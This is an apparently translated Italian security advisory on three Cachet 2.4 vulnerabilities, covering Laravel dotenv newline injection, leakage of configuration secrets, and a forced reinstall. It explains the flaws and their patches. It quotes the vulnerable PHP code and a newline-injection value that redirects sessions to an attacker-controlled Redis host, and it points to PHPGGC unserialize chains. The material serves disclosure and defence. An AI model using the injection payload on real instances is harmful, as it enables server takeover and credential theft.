Cachet 2.4: Esecuzione di Codice tramite Iniezione nelle Configurazioni di Laravel

Le pagine di stato sono ormai un servizio essenziale offerto da tutte le aziende di Software-as-a-Service. Per facilitare la loro adozione, le startup hanno rapidamente concepito pagine di stato come-un-servizio e sono state messe a disposizione alternative open-source self-hosted. Cachet, talvolta indicato anche come CachetHQ, è un sistema di pagina di stato ampiamente adottato scritto in PHP e ha molti fork della community, come fiveai/Cachet.

Compromettere le istanze di Cachet è redditizio per gli attaccanti, poiché memorizzano segreti per vari servizi come cache, database, server di posta, ecc. Questa prima penetrazione nell’infrastruttura è utile per loro per spostarsi nella rete interna dell’azienda colpita e per eseguire ulteriori attacchi. In questo articolo, presento l’analisi tecnica di tre bug di sicurezza scoperti dal mio team e da me in Cachet 2.4. Possono consentire agli attaccanti di compromettere il server.

Impatto

L’esplorazione di questi vulnerabilità è stata verificata sull’ultima versione ufficiale di Cachet al momento (2.3.18), così come sulla branch di sviluppo (2.4). Un attaccante che aspira a sfruttare queste vulnerabilità richiede un account utente valido con privilegi di base, uno scenario che può realisticamente essere sfruttato da:

  • Utilizzando lo stuffing di credenziali grazie alla considerevole quantità di account divulgati ogni anno.
  • A compromised or malicious user. 
  • La presenza di una vulnerabilità di cross-site scripting nello stesso perimetro.
  • L’esplorazione di CVE-2021-39165, un’iniezione SQL pre-autenticata in Cachet risolta nel gennaio 2021.

Vulnerabilità 1: CVE-2021-39172

La prima vulnerabilità (CVE-2021-39172) che descrivo è un’iniezione di newline che si verifica quando gli utenti aggiornano la configurazione di un’istanza, come le impostazioni email. Consente agli attaccanti di inserire nuovi comandi e alterare il comportamento delle funzionalità principali, portando all’esecuzione di codice arbitrario.

Il seguente video mostra l’esplorazione di questa vulnerabilità. A scopo dimostrativo, vengono eseguiti manualmente diversi passaggi, ma potrebbero essere automatizzati dagli attaccanti:

Fonte: Sonar YouTube

Vulnerabilità 2: CVE-2021-39174

Il secondo (CVE-2021-39174) è anche correlato a questa funzione e consente all’attaccante di estrarre segreti memorizzati nel file di configurazione, ad esempio la password del server SMTP, la chiave di crittografia dell’applicazione, ecc.

Vulnerabilità 3: CVE-2021-39173

Infine, l’ultimo bug (CVE-2021-39173) è molto più semplice e consente di attraversare il processo di setup anche se l’istanza è già completamente configurata. In questo modo, gli attaccanti possono indurre l’istanza Cachet a utilizzare un database arbitrario sotto il loro controllo, portando infine all’esecuzione di codice arbitrario.

Patch per queste tre vulnerabilità sono disponibili in release 2.5.1 del fork FiveAI.

Dettagli Tecnici

In questa sezione, descrivo i dettagli tecnici di ogni vulnerabilità e il modo in cui sono stati mitigati nell’ultima release del fork della community.

CVE-2021-39172: Esecuzione di Codice Remoto

Il dashboard di Cachet espone diverse viste di configurazione (anche ai non amministratori) per cambiare il nome dell’istanza, le impostazioni del server di posta, ecc. Le impostazioni persistenti a livello di applicazione vengono salvate nel database, e altri valori a livello di framework vengono salvati direttamente nel file di configurazione dell’applicazione. Il framework Laravel utilizza dotenv file di configurazione, un formato simile a come si dichiarano le variabili di ambiente in uno script shell. Il loro supporto è implementato nella libreria di terze parti qui.

Durante il cambio delle impostazioni del provider di posta, il controller instanzia un oggetto della classe UpdateConfigCommand. I comandi Laravel, nel contesto del bus di comando, sono un modo per rimuovere la logica specifica dell’applicazione dai controller; verranno eseguiti in modo sincrono al chiamare execute() sull’oggetto. Questo è ciò che accade in [1]:  

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
public function postMail()
{   
     $config = Binput::get('config');   
     execute(new UpdateConfigCommand($config));            // [1]    
     return cachet_redirect('dashboard.settings.mail')        
          ->withInput(Binput::all())       
          ->withSuccess(trans('dashboard.notifications.awesome')); 
}

Il gestore associato UpdateConfigCommandHandler è responsabile per apportare modifiche nel file dotenv esistente sostituendo le voci esistenti con quelle nuove.

UpdateConfigCommandHandler può essere attivato da codice in due posizioni diverse:

  1. SetupController@postStep3: l’ultimo passo del processo di setup. Una volta installata l’istanza, questo percorso di codice non può essere raggiunto più;
  2. SettingsController@postMail: durante l’aggiornamento delle voci dotenv relative ai server di posta.

Esaminerà prima l’intero file di configurazione per popolare l’ambiente di processo ([1]), identificare se la direttiva da aggiornare è già definita ([2]), e sostituire la voce con il suo nuovo valore ([3]):

app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php:

PHP

 

<?php
class UpdateConfigCommandHandler
{    
    // [...]    
    public function handle(UpdateConfigCommand $command)   
    {       
       foreach ($command->values as $setting => $value) {          
             $this->writeEnv($setting, $value);      
       }   
     }   
    // [...]   
    protected function writeEnv($key, $value)  
    {      
      $dir = app()->environmentPath();       
      $file = app()->environmentFile();       
      $path = "{$dir}/{$file}";        

      try {          
          (new Dotenv($dir, $file))->load();       // [1]              
          $envKey = strtoupper($key);          

          $envValue = env($envKey) ?: 'null';      // [2]           

         file_put_contents($path, str_replace(    // [3]              
              "{$envKey}={$envValue}",                        
              "{$envKey}={$value}",             
              file_get_contents($path)                   
         ));       
      } catch (InvalidPathException $e) {           
         throw $e;      
     }   
  } 
}

Non viene eseguita alcuna validazione sui dati in ingresso: fintanto che la voce di configurazione esiste già, verrà sostituita con un valore proveniente dal parametro. Se un attaccante fornisce un valore contenente nuove linee, creerà nuove voci nel file dotenv e potrebbe alterare le funzionalità a livello di framework.

Nota: solo la prima definizione di una variabile in un file dotenv verrà utilizzata; le successive saranno ignorate.

Su progetti Laravel, questa primitiva è sufficiente per ottenere l’esecuzione di codice arbitrario. La configurazione iniziale del file dotenv probabilmente apparirà così in molte istanze:

.env:

Shell

 

APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null

Gli attaccanti potrebbero sostituire la chiave CACHE_DRIVER e registrare un server Redis sotto il loro controllo come nuovo backend di sessione:

Shell

 

file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis

Dopo aver inviato una richiesta che imposta CACHE_DRIVER a questo valore, il file dotenv apparirà così:

.env:

Shell

 

APP_ENV=production 
APP_DEBUG=false 
APP_URL=http://cachet.internal 
APP_TIMEZONE=UTC 
// [...] 
CACHE_DRIVER=file 
REDIS_HOST=some.remote.server 
REDIS_DATABASE=0 
REDIS_PORT=6379 
SESSION_DRIVER=redis 
SESSION_DRIVER=file 
QUEUE_DRIVER=null
// [...]

Poiché le sessioni Laravel vengono serializzate utilizzando il formato nativo di PHP, vengono analizzate con la funzione unserialize(). Questa è una debolezza nota che può essere sfruttata per l’esecuzione di codice arbitrario utilizzando una sequenza di oggetti appositamente elaborati, un concetto chiamato “catene pop”. Lo strumento PHPGGC può generare tali catene per progetti Laravel. 

Potrebbero esistere altri modi per sfruttare l’esecuzione di comandi da un’iniezione di nuova riga in un file dotenv, ma non abbiamo intrapreso ulteriori ricerche in questa direzione. Il mio team e io siamo curiosi di sapere se sei a conoscenza di altre tecniche, però!

CVE-2021-39174: Perdita di configurazione

Come ho descritto nella sezione precedente, si può avere il controllo diretto di lettura e scrittura sui valori memorizzati nel file dotenv. La scrittura in questo file alla fine porta all’esecuzione di codice arbitrario, ma può anche essere sfruttato dal fatto che i valori di questo file sono visualizzati nell’interfaccia?

La documentazione di vlucas/phpdotenv descrive che supporta l’assegnazione di variabili nidificate: nella dichiarazione di una variabile, è possibile fare riferimento a una dichiarata in precedenza con la sintassi ${NAME}.

Questa caratteristica è conveniente: facendo riferimento a un’altra variabile in un’entrata del file di configurazione dotenv e visualizzando questa entrata nell’interfaccia, si rivela il valore di un’altra variabile. 

È già ampiamente documentato che la fuoriuscita di APP_KEY porta a esecuzione di codice se il driver della sessione è impostato su cookie, e questa primitiva può anche essere utilizzata per far trapelare DB_PASSWORD e MAIL_PASSWORD per eseguire ulteriori attacchi.

CVE-2021-39173: Reinstallazione Forzata

La pagina di configurazione non può essere acceduta se l’istanza è già installata, come implementato nel middleware. SetupAlreadyCompleted:

app/Http/Middleware/SetupAlreadyCompleted.php:

PHP

 

settings->get('app_name')) {               
                  return cachet_redirect('dashboard');          
             }      
         } catch (ReadException $e) {          
            // non impostato allora!      
         }        
         
         return $next($request);   
  } 
}

La verifica si basa unicamente sul valore della configurazione: se non definito o vuoto, il middleware considererà che l’istanza è installata.

Nel caso ti stia chiedendo cosa altro può valutare come falso, ecco una rapida panoramica sul sistema di tipizzazione di PHP durante le comparazioni fino a PHP 8. La comparazione può essere eseguita utilizzando un controllo di uguaglianza (==) o un controllo di identità (===). I controlli di uguaglianza implicano che il tipo degli operandi non viene considerato e le stringhe possono essere convertite in numeri in precedenza. Questo comportamento è stato chiamato “type juggling” ed è stato sfruttato in varie vulnerabilità nella vita reale (CVE-2017-1001000, CVE-2019-10231). Nel caso della comparazione sopra, qualsiasi valore uguale a una stringa vuota o “0” valuterà false e concederà l’accesso alle pagine di configurazione.

Il valore di app_name non viene convalidato durante l’aggiornamento delle impostazioni in SettingsController@postSettings, al [1]:

app/Http/Controllers/Dashboard/SettingsController.php:

PHP

 

<?php
class SettingsController extends Controller
{  
   // [...]   
   public function postSettings()  
   {      
       $setting = app(Repository::class);      
       // [...]      
       $parameters = Binput::all();       
      // [...]      
      $excludedParams = [           
        '_token',          
        'app_banner',          
        'remove_banner',          
        'header',           
        'footer',           
        'stylesheet',      
     ];       
     try {          
         foreach (Binput::except($excludedParams) as $settingName =>
 $settingValue) {              
                if ($settingName === 'app_analytics_pi_url') {                      
                        $settingValue = rtrim($settingValue, '/');             
                }              
                $setting->set($settingName, $settingValue); // <-- [1]
// [...]

Pertanto, un utente autenticato può aggiornarlo a un valore che valuta come falso e quindi accedere/configurare di nuovo per reinstallare l’istanza con un nuovo account amministratore (elevazione dei privilegi) o sfruttare il nostro primo ritrovamento e ottenere l’esecuzione del codice (ricorda, UpdateConfigCommandHandler può anche essere sfruttato da questo percorso).

Patch

La vulnerabilità di iniezione di nuova linea (CVE-2021-39172) è stata affrontata migliorando la convalida dei valori in ingresso in UpdateConfigCommandHandler, rifiutando qualsiasi modifica contenente caratteri di nuova linea.

Il bug di perdita di configurazione (CVE-2021-39174) è stato più complesso da risolvere, poiché la versione più recente della libreria dotenv non poteva essere importata a causa delle dipendenze esistenti. Invece, è stato trasferito il codice pertinente per consentire al gestore di comando di identificare se un valore contiene una variabile nidificata. 

Infine, non è possibile forzare una reinstallazione delle istanze esistenti (CVE-2021-39173) grazie a controlli migliorati nel middleware coinvolto.

Cronologia

DATE ACTION
2021-03-26 Issues reported by email to the official security disclosure address of the upstream project.
2021-06-25 We send the security issues and patches to the community-supported fork (fiveai/Cachet).
2021-08-27 Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174.

Riepilogo

In questo articolo, ho analizzato tre vulnerabilità in Cachet e dimostrato la capacità di prendere il controllo delle istanze con solo permessi di utente di base utilizzando i file di configurazione Laravel. Ho anche descritto le patch applicate dai maintainer e come prevengono gli attacchi che ho presentato. 

Infine, io e il mio team vorremmo ringraziare i maintainer della fork FiveAI di Cachet per aver riconosciuto il nostro advisory e aver risolto queste vulnerabilità in modo tempestivo e professionale.

Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection